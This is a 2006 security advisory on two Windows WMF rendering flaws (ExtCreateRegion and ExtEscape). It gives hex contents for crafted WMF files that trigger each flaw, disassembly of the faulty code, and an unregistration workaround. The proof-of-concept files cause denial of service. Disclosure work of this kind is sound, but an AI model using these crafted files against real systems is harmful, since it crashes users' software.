Microsoft Windows GRE WMF Format Multiple Unauthorized Memory Access Vulnerabilities

//this bug report is update for <<Microsoft Windows GRE WMF Format Multiple Memory Overrun Vulnerabilities>> by cocoruder 2006.01.07

by cocoruder
page:http://ruder.cdut.net
email:frankruder_at_hotmail.com

Last Update:2006.01.09
class:design error
Remote:yes
local:yes

Product Affected:
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Windows Server 2003 SP1
Microsoft Windows Server 2003
Microsoft Windows ME
Microsoft Windows 98se
Microsoft Windows 98
Microsoft Windows 2000SP4

Vendor:
www.microsoft.com

Overview:
Microsoft Windows GRE(Graphics Rendering Engine) has been discovered multiple Unauthorized Memory Access vulnerabilities while rendering WMF format file.Users who view the malicious WMF format file will bring a denial of service attack(explorer.exe will b
e restart).attend that the follow two vuls are independent of MS05-053 or MS06-001.

Details:
there is 2 vulnerabilities at least.

1.ExtCreateRegion call result in Unauthorized Memory Access vulnerability

you can exploit the vul via create a WMF file like this:
010009000003220000000100844300000000 //WMFHEAD
050000000B028B033F21 //first WMFRECORD
04000000FF0044444444444444444444FFFF33333333333333 333333FFFF41424344 //the vul WMFRECORD
030000000000 //end WMFRECORD

the issue code as following:
..text:7F00FE07 loc_7F00FE07: ; CODE XREF: PlayMetaFileRecord+1256j
..text:7F00FE07 sub eax, 3
..text:7F00FE0A jnz loc_7F022B9A ; 0xff
..text:7F00FE10 movzx ecx, word ptr [ebx+10h] ;get total "PointtStruct" number
..text:7F00FE14 mov [ebp-88h], ecx ;save
..text:7F00FE1A test ecx, ecx
..text:7F00FE1C jnz short loc_7F00FE2E ;jmp
..text:7F00FE1E xor eax, eax
..text:7F00FE20 push eax ; int
..text:7F00FE21 push eax ; int
..text:7F00FE22 push eax ; int
..text:7F00FE23 push eax ; int
..text:7F00FE24 call CreateRectRgn
..text:7F00FE29 jmp loc_7F010494
..text:7F00FE2E ; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪&#217
38;哪哪哪哪哪哪哪?
..text:7F00FE2E
..text:7F00FE2E loc_7F00FE2E: ; CODE XREF: PlayMetaFileRecord+C15j
..text:7F00FE2E xor edi, edi
..text:7F00FE30 mov [ebp-8Ch], edi
..text:7F00FE36 lea eax, [ebx+1Ch] ;get first "PointtStruct" address
..text:7F00FE39 mov [ebp-90h], eax ;save
..text:7F00FE3F and [ebp-94h], edi
..text:7F00FE45 and [ebp-98h], edi
..text:7F00FE4B test ecx, ecx
..text:7F00FE4D jbe short loc_7F00FE8C
..text:7F00FE4F
..text:7F00FE4F loc_7F00FE4F: ; CODE XREF: PlayMetaFileRecord+C83j
..text:7F00FE4F movzx ecx, word ptr [eax] ;get PointNum,here will trigger memory access error**
..text:7F00FE52 mov edx, ecx
..text:7F00FE54 shr edx, 1 ;PointNum/2
..text:7F00FE56 add edx, edi ;sum PointNum/2
..text:7F00FE58 cmp edx, edi
..text:7F00FE5A jb loc_7F0106D5
..text:7F00FE60 mov edi, edx
..text:7F00FE62 mov [ebp-8Ch], edi
..text:7F00FE68 cmp ecx, 7FFFFFFBh
..text:7F00FE6E jnb loc_7F0106D5
..text:7F00FE74 lea eax, [eax+ecx*2+8]
..text:7F00FE78 inc dword ptr [ebp-98h] ;counter+1
..text:7F00FE7E mov ecx, [ebp-98h]
..text:7F00FE84 cmp ecx, [ebp-88h] ;cmp total "PointtStruct" number
..text:7F00FE8A jb short loc_7F00FE4F ;traverse all "PointtStruct"
..text:7F00FE8C
..text:7F00FE8C loc_7F00FE8C: ; CODE XREF: PlayMetaFileRecord+C46j
..text:7F00FE8C ; PlayMetaFileRecord+14D8j
..text:7F00FE8C cmp dword ptr [ebp-94h], 0
..text:7F00FE93 jnz loc_7F022BA2
..text:7F00FE99 cmp edi, 0FFFFFFDh
..text:7F00FE9F jnb loc_7F022BA2
..text:7F00FEA5 mov eax, [ebp-8Ch]
..text:7F00FEAB add eax, 2
..text:7F00FEAE shl eax, 4
..text:7F00FEB1 mov [ebp-9Ch], eax
..text:7F00FEB7 push eax ; uBytes
..text:7F00FEB8 push 0 ; uFlags
..text:7F00FEBA call ds:LocalAlloc ;will allocate memory normally.
..text:7F00FEC0 mov edi, eax


2.ExtEscape POSTSCRIPT_INJECTION result in Unauthorized Memory Access vulnerability

you can exploit the vul via create WMF file like this:
010009000003220000000100844300000000 //WMFHEAD
050000000B028B033F21 //first WMFRECORD
0400000026001610FFFF444444444444444444444444444444 444444444444444344 //the vul WMFRECORD
030000000000 //end WMFRECORD

the issue code as following:

..text:7F027312 loc_7F027312: ; CODE XREF: ExtEscape+11Ej
..text:7F027312 ; ExtEscape+12Aj
..text:7F027312 test byte ptr [ecx+4], 40h
..text:7F027316 jnz loc_7F017CEC
..text:7F02731C mov ebx, [ebp+arg_8] ;we can cotrol this:cbSize
..text:7F02731F add ebx, 1Ah ;cbSize+0x1a
..text:7F027322 and ebx, 0FFFFFFFCh ;cbSize+0x1a-4
..text:7F027325 mov eax, large fs:18h
..text:7F02732B mov eax, [eax+30h]
..text:7F02732E push ebx
..text:7F02732F push 0
..text:7F027331 push dword ptr [eax+18h]
..text:7F027334 call ds:RtlAllocateHeap ;allocate memory size=cbSize+0x16
..text:7F02733A test eax, eax
..text:7F02733C jz short loc_7F027385
..text:7F02733E mov ecx, [ebp+arg_4]
..text:7F027341 mov [eax+0Ch], ecx
..text:7F027344 mov ecx, [ebp+arg_8]
..text:7F027347 mov [eax+10h], ecx
..text:7F02734A mov edx, ecx
..text:7F02734C shr ecx, 2
..text:7F02734F sub ebx, 8
..text:7F027352 mov [eax+8], ebx
..text:7F027355 lea edi, [eax+14h]
..text:7F027358 rep movsd ;copy,here will trigger a memory error likely**
..text:7F02735A mov ecx, edx
..text:7F02735C and ecx, 3
..text:7F02735F rep movsb
..text:7F027361 mov ecx, [ebp-4]
..text:7F027364 mov edi, [ebp+arg_14]
..text:7F027367 lea edx, [ecx+48h]
..text:7F02736A mov esi, [edx+4]
..text:7F02736D mov [eax+4], esi


Solution:
Microsoft has not develop the patch,please unregister the Windows Picture and Fax Viewer (Shimgvw.dll)(see MS06-001).

Thanks:
thanks all my friends.

-EOF-